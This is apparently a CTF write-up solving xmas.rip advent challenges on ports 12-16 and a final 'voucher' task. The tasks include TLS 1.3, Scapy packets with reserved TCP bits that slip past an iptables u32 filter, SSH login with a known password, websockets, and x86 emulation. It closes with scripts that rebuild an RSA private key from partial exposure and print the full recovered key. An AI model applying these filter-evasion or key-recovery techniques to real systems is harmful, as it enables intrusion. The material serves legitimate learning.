docker run -it --entrypoint /usr/bin/sshpass sshv1ing -p santa ssh -p 11 santa@xmas.rip
Sending build context to Docker daemon  1.516MB
Step 1/10 : FROM alpine:3.1
 ---> f36c4228b2c6
[...]
PTY allocation request failed on channel 0
Have a nice XMAS 2018!

Here is a little present: b0PmIAF/caSiun3UAKBs9Dq4gKTcgQeFrP3O8lDjZw81vqafTkmNIe27cQWNurJ7
                     ___
                  .-'   `-.
                 /         \
                J.-----.    L
                / .-..-.`!  |
               ( '(@) @)` ) |
                `|:-'`-|:|  J
                 |:::_ /:|   \   _
                  \::: :(|`.  `.(_)
                 `>`---' <  `--'
                __|_|___.->----.
           .-.-'  `/|_ ()>\`.  \`.
          /   \  ----._  .'  \ |  `,
         /_    L     (")( \|  L|  / `.
        (  `-. |\     " _\_|\_|||/    \
         |    \/ \  _.-' ___  \-.      `.__
         | H  | \ |'   .'.-.`-.L `-.    /  `----.____
         F H  F  \\   J /.-.\ \|    `. /         /   `.
        J    J\   \___FJ (  )) |      `._________(.--' \
        |.- -|_`.   .'_ \`-'/ /|                  `-.\\|\ .---""""---._
       F     / ``--'__.-._   .'|                      \))'             `.
       |    J      `-._  |`"'| |.                    .-'------__     .   \
        `--._          >-.|  | /|                   (  /(  ) /  `-._  \   L
            ``-._     /`-._ `.///|                 ( _/_____/_-.    `-.\  |
                |`----(\`-.`-`--._                 /   |   |( ) `--._   ) J
                |--.   `.`.`-.___|                J|_/||(_)|`-/ | | |`._)  \  _
                | _ `.   `-.``-. |_               F---------.___<_|_|_| |`. \/ \
                |/    \       / .'|              (--"""""-----.___`--._`|  `-\_/
                | | | _`.    / /  F          .---J `--------.__|  `-.__`V
                J/  |   \|  / /' J          /   /F [__[______  || -.   >---.
                |F  |    | /_/'  |         J   J F.-------.__    F   |/  /  \
                |   |___|-'.'    |         J   |J |-------_____]     |  |  -|
                J   |___||       |          L  |F ----.-. |     |    |  | |||
                |\  |   ||-.__.- F          |  |     (   )           J  | |||
                J \ |   F|-.__.-J           |  | -.  `--'/      .     | J JJJ
                 L \|  J J      |           |__/ =   .--.           . | J  ||
                 |  \  | ||     F            J F =   /  \      .    . |  L ||
               .'|.    ).--.   J\             L  =   \__/             `---.||)
               | ||`._/ |   \.-' L            |--   ---   __  .    .  ||  |||
               | ||/   /|    |   /            J  __   __         -.   FJ  |||
               \///__||/ \  )/-''             F    |      ""  --  _  J  F |||
               |  `  ''  /`//  F              F        |        /    J  | |||
                L  L J   F    J              |_______          (     F  | |||
                |    |   ||   |               |\\   |  |  ---.__`_/  |  |_||/)
                J    |   |    F                F\ __\ _|    /     -._|_J--.-'|
                 L   |   |   J                (-'  `----.____     /`.  J  |  |-.
                 |   |   |   |               .-|-\   |      | `-./  |- |  |  //|
                 |   |   |   |               //   |  | -.   |       ||  \  \/ .<
                  L  J   (   |              / >- ||   \ (  /        ||  >-)-'  \
                  L   L  |    `.           / `'||`   /`-'` \        || /  / |   \
                  |   )  |      `--.      [`---.___ /   |   \       ||/     |    )
                 /    |  `-.___     )      `---.___/    |    \      `/      |  .'
                |     |        `----'             /     |     \     /__     |.''
                `.___.'                          /      |    .']    [__ `--..'
                                                 [`--.  |  .'.'        `--.|'
                                                  `-._ `|.'.'
                                                      `-|-'
VK

Port 12

The future is now! Santa can finally deploy all his HTTPS services with the latest TLS technology. Lets celebrate RFC8446! Are your clients compatible yet?

The RFC referenced is that of TLS 1.3. I created a container with OpenSSL 1.1.1 for TLS 1.3 support and fetched the page:

$ cat curl-tls1.3-docker/Dockerfile
FROM alpine:3.1

RUN apk update \
    && apk add --virtual build-dependencies \
        build-base \
        gcc \
        wget \
        git \
    && apk add \
        bash \
    && apk add \
        openssl-dev \
    && apk add \
        alpine-sdk

RUN apk add perl

WORKDIR /app
COPY OpenSSL_1_1_1a.tar.gz .
RUN tar xvzpf OpenSSL_1_1_1a.tar.gz \
    && cd openssl-OpenSSL_1_1_1a \
    && ./config --prefix=/usr enable-tls1_3 \
    && make \
    && make install

COPY curl-7.62.0.tar.bz2 .
RUN tar xvjpf curl-7.62.0.tar.bz2 \
    && cd curl-7.62.0 \
    && ./configure --prefix=/usr \
    && make \
    && make install

ENTRYPOINT ["/usr/bin/curl"]

$ cat solve.sh
#!/bin/bash
cd curl-tls1.3-docker && docker build -t curl-tls1.3 .
docker run -it --entrypoint /usr/bin/curl curl-tls1.3 https://xmas.rip:12
Wow, such secure, very TLSv1.3! Your cipher suite: TLS_AES_256_GCM_SHA384
By securely connecting to this service you saved a Christmas elve!

5U5VxWD5ohg5hg1Zf34Fk5iEhWsrJHvIC9xhqDKnZXpqPhzFnolP47LIUkndf//Q

                     ___,@
                    /  <
               ,_  /    \  _,
           ?    \`/______\`/
        ,_(_).  |; (e  e) ;|
         \___ \ \/\   7  /\/    _\8/_
             \/\   '=='/      | /| /|
              \ \___)--(_______|//|//|
               \___  ()  _____/|/_|/_|
                  /  ()  \    `----'
                 /   ()   \
                '-.______.-'
              _    |_||_|    _
             (@____) || (____@)
              \______||______/

Port 13

TCP is very much like Christmas: it's as reliable in transporting data as Santa is delivering presents!

But exposing crucial Christmas services in hostile environments like the Internet is a no-no for Santa's security policies. That's why he likes to filter traffic, just a little bit. And what's the best way to do this? Exactly! With some (mostly) self explaining iptable rules. This time he came up with the following rule:

iptables
-t nat
-A PREROUTING
-p tcp
--dport 13
-j DNAT
--to 127.0.0.1:1313
-m u32
--u32 "6&0xFF=0x6 && 4&0x1FFF=0 && 0>>22&0x3C@12>>24&0x0F=0xE"

Ez. You will figure it out, right? u32 is just amazing! Rumors have it that Santa enjoyed RFC3514 (a.k.a. the evil bit) so much that he implemented something similar. But in the TCP header.

Secret sources revealed that Santa implemented a custom client with Scapy, which seems to be required somehow. It should be sufficient to create a TCP session, but how does that silly handshake work again?!

This is telling us that port 13 is filtering only for packets with the evil bit -- which is an IP header 'joke' RFC. But on the TCP headers. The u32 rule tells us precisely what this means in this case:

u32 description
6&0xFF=0x6 This is testing for TCP packets
4&0x1FFF=0 This is unfragmented or first fragment
0>>22&0x3C@ read into TCP header of IP payload
12>>24&0x0F=0xE read 32 bits at offset 12; right-shift 24bits, test 0xE with mask 0xF. i.e. this checks that all three reserved bits in the TCP header are set, but that the NS bit is clear.

So, we can get through to the port with TCP packets that have all 3 reserved bits set. scapy has a TCP client built into it that was can readily extend, see below. The gotcha with doing the three-way TCP handshake in userspace is the kernel will send RST packets back to the endpoint we're trying to connect to so we need to silence those with a filter.

$ cat evil_tcp_automaton.py
from scapy.all import *
# the iptables filter on the other end is dropping everything except non-fragmented (or initial) TCP packets with all reserved bits set

class Nestlevil_TCP_client(TCP_client):
    def parse_args(self, ip, port, *args, **kargs):
        TCP_client.parse_args(self, ip, port, *args, **kargs)
        self.l4[TCP].reserved = 7

s = Nestlevil_TCP_client.tcplink(Raw, sys.argv[1], int(sys.argv[2]))
s.send('')
print s.recv()

$ cat solve.sh
#!/bin/bash
set -x

src_ip=$(python -c "import socket; print socket.gethostbyname(\"$(hostname)\")")
dst_ip=$(python -c "import socket; print socket.gethostbyname(\"xmas.rip\")")

sudo pfctl -E
echo block drop proto tcp from ${src_ip} to ${dst_ip} flags R/R | sudo pfctl -f -
sudo pfctl -e

python evil_tcp_automaton.py xmas.rip 13
TCP is so much fun!
UN1XkrmLexNQCZ/8qBziVFDppxzsytbtA0CRRVsyfiGNoHpK9vjCHcdI5pA3lXLZ

Port 14

Santa's ports can be pretty weird. Sometimes they do one thing, sometimes something else... Maybe some of them do multiple things at the same time..? This port looks like a HTTPS port, right? But could it be something else? Maybe some hidden door into Santa's world? Always remember: santa uses his super secret santa password. Because Santa knows that no one is able to find his remote access ports anyway.

Not alot to go on here: it's gonna be an HTTPS server, but what else? Remembering that the challenge authors likes OPTIONS I queried that:

$ curl -X OPTIONS https://xmas.rip:14
Hey, glad you found me!
How are you doing?
Wanne do something crazy today?!?
Come back with some SSH!

OK ...

$ bash -x solve.sh
+ sshpass -p santa ssh -p 14 santa@xmas.rip
PTY allocation request failed on channel 0
Have a nice XMAS 2018!
KOE+t2Q9Uou8MBiDIRjmzI8AetCbV834MO9Ieu5JVIMnrk1FvSK30CQilB+q5xp4Connection to xmas.rip closed.

Awesome.

Port 15

Playing around with sockets is super fun. All of these different protocols you can talk on the Internet,amazing! However, the web is also pretty decent when it comes to having fun. But nowadays we cannot only have our good old stateless HTTP, we have super cool stuff that is kind of like sockets as well! Wouldn't it be cool to play with sockets on the web or vice versa?! Guess what, Santa seems to have found out about RFC6455...

This is clearly hinting that we need to connect with websockets. Let's go to the crappy python!

import websocket

import sys
try:
    import thread
except ImportError:
    import _thread as thread
import time

def on_message(ws, message):
    print(message)

def on_error(ws, error):
    print(error)

def on_close(ws):
    print("### closed ###")
    sys.exit(0)

def on_open(ws):
    def run(*args):
        ws.send("XMAS2018")
        time.sleep(3)
        ws.close()
        print("thread terminating...")
    thread.start_new_thread(run, ())

if __name__ == "__main__":
    websocket.enableTrace(True)
    ws = websocket.WebSocketApp("ws://%s:%s/" % (sys.argv[1], sys.argv[2]),
                              on_message = on_message,
                              on_error = on_error,
                              on_close = on_close)
    ws.on_open = on_open
    ws.run_forever()
--- request header ---
GET / HTTP/1.1
Upgrade: websocket
Connection: Upgrade
Host: xmas.rip:15
Origin: http://xmas.rip:15
Sec-WebSocket-Key: aeFzgImSQXctmeEVQvjJvw==
Sec-WebSocket-Version: 13


-----------------------
--- response header ---
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: ihbIVVscnKvJTE/qhGF7w+PrKdA=
-----------------------
send: '\x81\x88\xb6\xb1hV\xee\xfc)\x05\x84\x81Yn'
Hey all, a new client has joined us
                               .-(_)
                              / _/
                           .-'   \
                          /       '.
                        ,-~--~-~-~-~-,
                       {__.._...__..._}             ,888,
       ,888,          /\##"  6  6  "##/\          ,88' `88,
     ,88' '88,__     |(\`    (__)    `/)|     __,88'     `88
    ,88'   .8(_ \_____\_    '----'    _/_____/ _)8.       8'
    88    (___)\ \      '-.__    __.-'      / /(___)
    88    (___)88 |          '--'          | 88(___)
    8'      (__)88,___/                \___,88(__)
              __`88,_/__________________\_,88`__
             /    `88,       |88|       ,88'    \
            /        `88,    |88|    ,88'        \
           /____________`88,_\88/_,88`____________\
          /88888888888888888;8888;88888888888888888\
         /^^^^^^^^^^^^^^^^^^`/88\\^^^^^^^^^^^^^^^^^^\
        /                    |88| \============,     \
       /_  __  __  __   _ __ |88|_|^  MERRY    | _ ___\
       |;:.                  |88| | CHRISTMAS! |      |
       |;;:.                 |88| '============'      |
       |;;:.                 |88|                     |
       |::.                  |88|                     |
       |;;:'                 |88|                     |
       |:;,                  |88|                     |
       '---------------------""""---------------------'

------------------------------------------------
ut17LTS20wuMsYV6SaeMqEo/qxDWEufcqdSUykjnibqm7DM2y2lI61j08kPB8gHa

Port 16

It is the 3rd advent and Santa has opened the gates to his Christmas Processing Unit (CPU). It is an engine based on x86 and is operated by a remote processing channel where it delivers it's byte code via TCP. It is bleeding edge technology, so fancy that some say that you would need Unicorns to use it! Maybe using a disassembler could help understanding the sorcery behind this port.

This is hinting that we have a another challenge response port, but the challenge is x86 assembly. Poking at the port with netcat and hexdump this is clearly the case; furthermore, the response that the server is after is clearly the value of EAX after 'running' the code. This can be accomplished really quickly with the great unicorn engine python bindings (in a crappy python script):

import argparse
from pwn import *
from pwnlib.exception import PwnlibException

from unicorn import *
from unicorn.x86_const import *

with context.local(log_level='debug'):
    r = pwnlib.tubes.remote.connect('xmas.rip', 16)

    challenge_count = 0
    while True:
        challenge_count = challenge_count + 1

        intro_text = r.recvuntil('hallenge is>')
        print intro_text
        challenge_bytes = r.recvuntil('\x0a\x0a\x0a')
        challenge_bytes = challenge_bytes[:-3]
        with open('challenge%d.bin' % challenge_count, 'wb') as f:
            f.write(challenge_bytes)

        answer_prompt = r.recvuntil('Your Answer for EAX?:\n')
        print answer_prompt

        mu = Uc(UC_ARCH_X86, UC_MODE_32)
        mu.mem_map(0x1000, 4096)
        mu.mem_write(0x1000, challenge_bytes)
        mu.emu_start(0x1000, 0x1000 + len(challenge_bytes))

        eax = mu.reg_read(UC_X86_REG_EAX)
        print "EAX: 0x%04x" % eax

        r.send("0x%x\n" % eax)

        response = r.recvline()
        print response

        if not 'just to be sure you had no luck lets try another one' in response:
            print r.recvall()
            sys.exit(0)
[+] Opening connection to xmas.rip on port 16: Done
[DEBUG] Received 0x54 bytes:
    'Welcome to Santas Unicorn... uhmmm Reindeer Server. This is a binary challenge ;-).\n'
[DEBUG] Received 0x5d bytes:
    00000000  59 6f 75 72  20 66 69 72  73 74 20 43  68 61 6c 6c  │Your│ fir│st C│hall│
    00000010  65 6e 67 65  20 69 73 3e  31 c0 c1 e8  5c c1 e8 31  │enge│ is>│1···│\··1│
    00000020  c1 f8 2a c1  f8 10 c1 e8  10 83 e8 63  c1 e0 4f b8  │··*·│····│···c│··O·│
    00000030  00 00 00 00  83 e8 46 83  c0 47 c1 e0  49 48 c1 e0  │····│··F·│·G··│IH··│
    00000040  24 c1 e0 07  0a 0a 0a 59  6f 75 72 20  41 6e 73 77  │$···│···Y│our │Answ│
    00000050  65 72 20 66  6f 72 20 45  41 58 3f 3a  0a           │er f│or E│AX?:│·│
    0000005d
Welcome to Santas Unicorn... uhmmm Reindeer Server. This is a binary challenge ;-).
Your first Challenge is>
Your Answer for EAX?:

EAX: 0xff800
[DEBUG] Sent 0x8 bytes:
    '0xff800\n'
[DEBUG] Received 0x5e bytes:
    'Wow your first challenge was correct ;-) just to be sure you had no luck lets try another one\n'
Wow your first challenge was correct ;-) just to be sure you had no luck lets try another one

[DEBUG] Received 0x57 bytes:
    00000000  59 6f 75 72  20 73 65 63  6f 6e 64 20  63 68 61 6c  │Your│ sec│ond │chal│
    00000010  6c 65 6e 67  65 20 69 73  3e 31 c0 c1  d8 5e c1 e0  │leng│e is│>1··│·^··│
    00000020  2c 40 c1 d0  36 c1 d0 00  c1 d8 44 c1  f8 3e 48 83  │,@··│6···│··D·│·>H·│
    00000030  c0 04 83 e8  64 c1 d0 3e  c1 e8 02 c1  d0 02 0a 0a  │····│d··>│····│····│
    00000040  0a 59 6f 75  72 20 41 6e  73 77 65 72  20 66 6f 72  │·You│r An│swer│ for│
    00000050  20 45 41 58  3f 3a 0a                               │ EAX│?:·│
    00000057
Your second challenge is>
Your Answer for EAX?:

EAX: 0xfffffff2
[...]
[+] Receiving all data: Done (1.17KB)
[*] Closed connection to xmas.rip port 16
                             .-"            ".
                           .'                 \
 '    .''.                /                 /  \
  '..'    '.  \/         /---.----.--.---.-(    \
            '.()o       {                   }    |
    ____      ""        {____.-._____.-.____}\   |           ____
   /    `"=._           _/  (o  )   (o  )  \_ `\ |_     _.="`    \
  |          "=.      /'     '-'_,-,_'-'     `\ /  \ .="          |
  |     ".      ".   |   '.  _."_.-._"._  .'   |\__/"      ."     |
   ".     ".      ".  \    `"-.~._^_.~.-"`    /  ."      ."     ."
     ".     ".      ". `--._   `-.~.-`   _.--` ."      ."     ."
       "=._   ".      "=./  `._       _.`  \.="      ."   _.="
           "=._ "._     /      `"""""`      \     _." _.="
               "=. "-. :                     : .-" .="
                  ".  "|     Y          Y    |"  ."
                _.="`  _\    \          /    /_ `"=._
     _.-"""``""`  _.-"`__\    \-.____.-/    /__`"-._ `""``"""-._
  .-'.-' _.-'_.-"`   .' .' .'\ \      / /'. '._'.   `"-._'-._'-.'-.
  `"` `"` `"`        `"` `"`  `"`    `"`   `"` `"`       `"` `"` `"`

Fs8OuqymjqvpASfvnnZevS44pKM51OtEqxMFzM4zPwRQ2neyUofE6O0URvTjlGOy

The Voucher Challenge

Sometime around port 6 I had the notion that the way they were exposing the private key 'one line at a time' would eventually setup a partial key exposure which could be exploited.

Lots of writeups are available on how to take advantage of partial key exposures; the problem I had was they all refer to either a) private keys in PEM files that start with BEGIN RSA PRIVATE KEY or b) private key parameters (p, q, etc.). What we're given by the organizers ( @_takeshix and @lod108 ) is a file that starts with BEGIN PRIVATE KEY.

All the prior art in partial key exposures starts by considering what they (the attackers) have in-hand and then they take different approaches based on that. So we need to inspect the masked private key PEM file we're constructing from xmas.rip port responses and figure out what we have.

A little googling taught me that files starting with BEGIN RSA PRIVATE KEY were PKCS#1 and BEGIN PRIVATE KEY were PKCS#8. The PKCS#8 files could contain other types of private keys, but we're told in the instructions that this is RSA and also generating a new rsa-2048 PKCS#8 PEM file (with openssl genpkey -out tmp/rsakey.pem -algorithm RSA -pkeyopt rsa_keygen_bits:2048) shows the exact same size and structure (beginning and end). The same basic googling says that both the PKCS#1 and PKCS#8 files are ASN.1 DER encoded, that the PKCS#8 has a short header identifying the algorithm as RSA followed by an embedded octet stream of ASN.1 DER encoded PKCS#1 RSA private key (and it is also known that the PEM files are base64 encoded versions of binary / DER files). Great SO answer to look at: https://stackoverflow.com/questions/20065304/differences-between-begin-rsa-private-key-and-begin-private-key

RSAPrivateKey ::= SEQUENCE {
  version           Version,
  modulus           INTEGER,  -- n
  publicExponent    INTEGER,  -- e
  privateExponent   INTEGER,  -- d
  prime1            INTEGER,  -- p
  prime2            INTEGER,  -- q
  exponent1         INTEGER,  -- d mod (p1)
  exponent2         INTEGER,  -- d mod (q-1)
  coefficient       INTEGER,  -- (inverse of q) mod p
  otherPrimeInfos   OtherPrimeInfos OPTIONAL
}

From this info, we should be able to convert the PEM file to a DER file by base64 decoding:

import sys
import base64

der_base64_lines=list()
f = open(sys.argv[1], 'r')

for line in f.readlines():
    if line.startswith('-----BEGIN ') or line.startswith('-----END '):
        continue
    der_base64_lines.append(line)

sys.stdout.write(base64.b64decode(''.join(der_base64_lines)))

We should be able to inspect all the parameters in a PKCS#1 DER file:

from pyasn1.codec.der.decoder import decode
import sys

substrate = open(sys.argv[1], 'r').read()

received_record, rest_of_substrate = decode(substrate)
if str(received_record['field-1']['field-0']) != '1.2.840.113549.1.1.1':
    print 'not an RSA PRIVATE KEY PKCS#8 container'
    sys.exit(1)

received_record_rsa_embedded, rest_of_substrate = decode(received_record['field-2'])

print received_record_rsa_embedded

And finally, we should be able to convert a PKCS#8 PEM file to a PKCS#1 PEM file by 'extracting' the embedded octet string

import sys
import base64
from pyasn1.codec.der.decoder import decode
import textwrap

der_base64_lines=list()
f = open(sys.argv[1], 'r')

for line in f.readlines():
    if line.startswith('-----BEGIN ') or line.startswith('-----END '):
        continue
    der_base64_lines.append(line)

substrate = base64.b64decode(''.join(der_base64_lines))

received_record, rest_of_substrate = decode(substrate)

if str(received_record['field-1']['field-0']) != '1.2.840.113549.1.1.1':
    print 'not an RSA PRIVATE KEY PKCS#8 container'
    sys.exit(1)

pkcs1_pem_contents = base64.b64encode(str(received_record['field-2']))

print "-----BEGIN RSA PRIVATE KEY-----"
for line in textwrap.wrap(pkcs1_pem_contents, 64): print line
print "-----END RSA PRIVATE KEY-----"

At this stage in the challenge, we had been given enough ports (which I'd solved) for the 'header' ASN.1 structure in the PKCS#8 file to be parseable. The problem I ran into was when I tried to parse the extracted PKCS#1 file, the run of 0000 would cause the ASN.1 parser to die when it would hit a TLV of 0x00:0x00:0x00. This happened with pyasn1, openssl etc.

What we need was to either manually inspect the bytes and get the parameters out, or a tool that would parse an ASN.DER 1 file for fixed sizes. The former seemed boring (I like writing crappy python -- see above). I went to kaitai struct IDE and created a template based on the variable-length encoded structures in a valid PKCS#1 DER file. Then I replaced all the variable-length sizing with hardcoded sizes; the result is a kaitai struct template which can parse RSA 2048 PKCS#1 DER encoded private keys even if they are corrupted.

meta:
  id: rsa_pkcs1
seq:
  - id: magic
    contents: [0x30, 0x82, 0x04, 0xa4]
  - id: version
    size: 3

  - size: 1 # normally type: integer, skipped type-based processing to work with corrupted files
#  - id: modulus_size
#    type: len_encoded
  - size: 3 # normally var len encoded, skipped (above) to work with corrupted files
  - id: modulus_n
#   size: modulus_size.result
    size: 257
    doc: n

  - size: 1 # normally type: integer, skipped type-based processing to work with
#  - id: public_exponent_size
#    type: len_encoded
  - size: 1 # normally var len encoded, skipped (above) to work with corrupted files
  - id: public_exponent_e
#   size: public_exponent_size.result
    size: 3
    doc: e

  - size: 1 # normally type: integer, skipped type-based processing to work with
#  - id: priv_exponent_size
#    type: len_encoded
  - size: 3 # normally var len encoded, skipped (above) to work with corrupted files
  - id: priv_exponent_d
#   size: priv_exponent_size.result
    size: 256
    doc: d

  - size: 1 # normally type: integer, skipped type-based processing to work with
#  - id: prime1_size
#    type: len_encoded
  - size: 2 # normally var len encoded, skipped (above) to work with corrupted files
  - id: prime1_p
#   size: prime1_size.result
    size: 129
    doc: p

  - size: 1 # normally type: integer, skipped type-based processing to work with
#  - id: prime2_size
#    type: len_encoded
  - size: 2 # normally var len encoded, skipped (above) to work with corrupted files
  - id: prime2_q
#   size: prime2_size.result
    size: 129
    doc: q

  - size: 1 # normally type: integer, skipped type-based processing to work with
#  - id: exp1_size
#    type: len_encoded
  - size: 2 # normally var len encoded, skipped (above) to work with corrupted files
  - id: exp1
#   size: exp1_size.result
    size: 128
    doc: d mod (p-1)

  - size: 1 # normally type: integer, skipped type-based processing to work with
#  - id: exp2_size
#    type: len_encoded
  - size: 2 # normally var len encoded, skipped (above) to work with corrupted files
  - id: exp2
#   size: exp2_size.result
    size: 129
    doc: d mod (q-1)

  - size: 1 # normally type: integer, skipped type-based processing to work with
#  - id: coeff_size
#    type: len_encoded
  - size: 2 # normally var len encoded, skipped (above) to work with corrupted files
  - id: coeff
#   size: coeff_size.result
    size: 129
    doc: (inverse of q) mod p

types:
  len_encoded:
    seq:
      - id: b1
        type: u1
      - id: int2
        type: u2be
        if: b1 == 0x82
      - id: int1
        type: u1
        if: b1 == 0x81
    instances:
      result:
        value: '(b1 == 0x81) ? int1 : ((b1 == 0x82) ? int2 : b1)'

Which I then turned into a python module and used it to make a python script that could dump the parameters of an RSA 2048 private key:

import sys
from rsa_pkcs1 import RsaPkcs1

k = RsaPkcs1.from_file(sys.argv[1])

print "n = 0x%x" % int(k.modulus_n.encode('hex'),16)
print "e = 0x%x" % int(k.public_exponent_e.encode('hex'),16)
print "d = 0x%x" % int(k.priv_exponent_d.encode('hex'),16)
print "p = 0x%x" % int(k.prime1_p.encode('hex'),16)
print "q = 0x%x" % int(k.prime2_q.encode('hex'),16)
print "d mod (p-1) = 0x%x" % int(k.exp1.encode('hex'),16)
print "d mod (q-1) = 0x%x" % int(k.exp2.encode('hex'),16)
print "coeff = 0x%x" % int(k.coeff.encode('hex'),16)

So now I could read the RSA private key parameters whether the file was complete or not. By the time I figured all this out we had been given 16 ports yielding 16 lines of base64 and the following fields were observed:

$ python inspect_pkcs1_rsa.py priv_masked.pkcs1.der
n = 0xb2628e51688d1f4cdabdcd89267ac1b8e5d203b789921ecf4e9691444b3ab475b0ecad46743350dc7d871d11d82e395746d2673f28447704ed96e94f66c3815c46d0f7646973a3d2539bf325ae0c00432d52d419eee7fe25ecfd14fd9bdb57afa77da4b4cea1d400fa0bfff684d32658bb5f197d8ef1f91b5774c320ca7b23f3c7584321570fbcb8c2a972b6c9d090faff210112fec9d70168b98087f3037ab26b22da1133e5e6a1a67e0bae92d66e4b93f887ed7b8627554d3f9d3073f9cf12ca88e35f83284e082ddc2d0b4c685e12a33e9a60391f03567800481fc29637077924333581d920de5ff315f74b958be78bca685c61d59c7b764e114e7baa7cd5
e = 0x10001
d = 0x3a57556876a3410b67b70fd3bd4c04b3ae2663a4d14f82d81641d43cdbc5d563707bd7a7e5352b4b119af0fcf711171bde43ce14afdcc4784e243f2602dc0a20dde05628f6fc252612c63c5da470b45d442384cefe7dcd7725ed17c26208f8c2b02abd858cd70c794d4e4366a2c654124d25ab368f5bc0371b014b181c60edbeaed971f0ca9b37296b45356ea9904ccb005a5eceec3df8be10b75d19b31e5bdbc86a3fc6fd420feb707f69c7cd885ca601ddfbf3f97662107a0eeaa944fefd061293a596641484abe0033c18b482e1f5421bf0aa13499f6c8c10c508c905332cfa909a00aec2c6084a12903d91718288357c0f0b8da350d48313bc7c91a70f79
p = 0xe5f001371c17e0c495e9fa4c2173bb9f9f2463d4f3b5fa952c28729efa5c6bc3a9d3e0870655f41ff692f9dd95edda325945da7df796b7c74fd1f590035c706129eedb0c63ee0098a8114ea574ae154b6341dd72aa7b7656b72466a39eb1b75a3336233b5f7a1b2f06ac3bb19c9387896e131c0ba3ee40195b8ec7b16881fd9b
q = 0xc69aac91a039ef26cf88422b8f38c266162ebd6112c85153a39f883f7d090226b8413cbe683786c1cbb0600e7b63c357db078d17bc915972da3fe6ed00b321879d48e2ad8a108ffb1c9a7ee5ae1ef6ad119576cb725c24a848c3065f48a1a2c9fd2062d9c204317b45f117f29563494f4829173e13e339083700000000000000
d mod (p-1) = 0x0
d mod (q-1) = 0x0
coeff = 0xcd042916c3193b40f6b70d1f9765ab12a4b4

From the above it is clear (from the strings of 0000...) that the only the tail of q, d mod (q-1) , d mod (q-1) and coeff are all still secret; but all of p, d, e, and n` are known.

If we recall a little RSA: n = p * q and we have d and p entirely; so we're already done. All the rest (q, d mod (q-1) , d mod (q-1) and coeff) can be derived.

import pyasn1.codec.der.encoder
import pyasn1.type.univ
import base64
import sys
from rsa_pkcs1 import RsaPkcs1

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)

def modinv(a, m):
    gcd, x, y = egcd(a, m)
    if gcd != 1:
        return None  # modular inverse does not exist
    else:
        return x % m

def pempriv(n, e, d, p, q, dP, dQ, qInv):
    template = '-----BEGIN RSA PRIVATE KEY-----\n{}-----END RSA PRIVATE KEY-----\n'
    seq = pyasn1.type.univ.Sequence()
    for x in [0, n, e, d, p, q, dP, dQ, qInv]:
        seq.setComponentByPosition(len(seq), pyasn1.type.univ.Integer(x))
    der = pyasn1.codec.der.encoder.encode(seq)
    return template.format(base64.encodestring(der).decode('ascii'))

k = RsaPkcs1.from_file(sys.argv[1])

n = int(k.modulus_n.encode('hex'),16)
e = int(k.public_exponent_e.encode('hex'),16)
d = int(k.priv_exponent_d.encode('hex'),16)
p = int(k.prime1_p.encode('hex'),16)
partial_q = int(k.prime2_q.encode('hex'),16)

q = n/p

phi = (p -1)*(q-1)
if d != modinv(e, phi):
    print 'error'
    sys.exit(1)

dp = modinv(e, (p-1))
dq = modinv(e, (q-1))
qi = modinv(q, p)

print pempriv(n,e,d,p,q,dp,dq,qi)

We could have done this earlier with even less parts of d, p known, but I was yak shaving PKCS containers at that point (hindsight is 20:20). The above script gives us a PKCS#1 PEM file output like:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAsmKOUWiNH0zavc2JJnrBuOXSA7eJkh7PTpaRREs6tHWw7K1GdDNQ3H2HHRHY
LjlXRtJnPyhEdwTtlulPZsOBXEbQ92Rpc6PSU5vzJa4MAEMtUtQZ7uf+Jez9FP2b21evp32ktM6h
1AD6C//2hNMmWLtfGX2O8fkbV3TDIMp7I/PHWEMhVw+8uMKpcrbJ0JD6/yEBEv7J1wFouYCH8wN6
smsi2hEz5eahpn4LrpLWbkuT+Ifte4YnVU0/nTBz+c8SyojjX4MoTggt3C0LTGheEqM+mmA5HwNW
eABIH8KWNwd5JDM1gdkg3l/zFfdLlYvni8poXGHVnHt2ThFOe6p81QIDAQABAoIBADpXVWh2o0EL
Z7cP071MBLOuJmOk0U+C2BZB1DzbxdVjcHvXp+U1K0sRmvD89xEXG95DzhSv3MR4TiQ/JgLcCiDd
4FYo9vwlJhLGPF2kcLRdRCOEzv59zXcl7RfCYgj4wrAqvYWM1wx5TU5DZqLGVBJNJas2j1vANxsB
SxgcYO2+rtlx8MqbNylrRTVuqZBMywBaXs7sPfi+ELddGbMeW9vIaj/G/UIP63B/acfNiFymAd37
8/l2YhB6DuqpRP79BhKTpZZkFISr4AM8GLSC4fVCG/CqE0mfbIwQxQjJBTMs+pCaAK7CxghKEpA9
kXGCiDV8DwuNo1DUgxO8fJGnD3kCgYEA5fABNxwX4MSV6fpMIXO7n58kY9TztfqVLChynvpca8Op
0+CHBlX0H/aS+d2V7doyWUXaffeWt8dP0fWQA1xwYSnu2wxj7gCYqBFOpXSuFUtjQd1yqnt2Vrck
ZqOesbdaMzYjO196Gy8GrDuxnJOHiW4THAuj7kAZW47HsWiB/ZsCgYEAxpqskaA57ybPiEIrjzjC
ZhYuvWESyFFTo5+IP30JAia4QTy+aDeGwcuwYA57Y8NX2weNF7yRWXLaP+btALMhh51I4q2KEI/7
HJp+5a4e9q0RlXbLclwkqEjDBl9IoaLJ/SBi2cIEMXtF8RfylWNJT0gpFz4T4zkIN75QOglYTk8C
gYEAxWgVEwQ6d80uy68I91tOBI9zhYYJKf4VXdDn/xcAi8BzKCVGpyjaKyrdKkmT8511xnETUTxk
GCm0nJRPbKNLFBAVMdhkXqwCY6BgPep7nmqXr694R2cxxOb9CGWG1BqPBRKAkvO4eGgaOXoSVVPP
dCydmWFg/yXm31UommYX2+sCgYAtt4Et7IIpiPeQ2BqK13f4Y/bSZTwbnIzyR1DnvHKMajlT2xXB
i7abebXaBrtklZztsGlMI34Z5xRSTWgVFycKvqv+chAsC9i0FuRLHq/F/MTlcPkYFBnkGwu5tclU
W9K/T+sxUTYB5eyNuQOAW+COPYAn94RAc+puWoLBOVF4hQKBgQDitYJbGK7N7bUm7xjdBEPAylLB
6ifm0OEqMLhSycPKuQaT1XeMHGOAmhlZTSaRUCepwVELOPb2PDtDNMqorlu8yGq4MzyYG7CoiPxw
pr1DzCplXnwQL8muJseS2KaHy8k7TxuHIF7amOzL35RqG80EKRbDGTtA9rcNH5dlqxKktA==
-----END RSA PRIVATE KEY-----

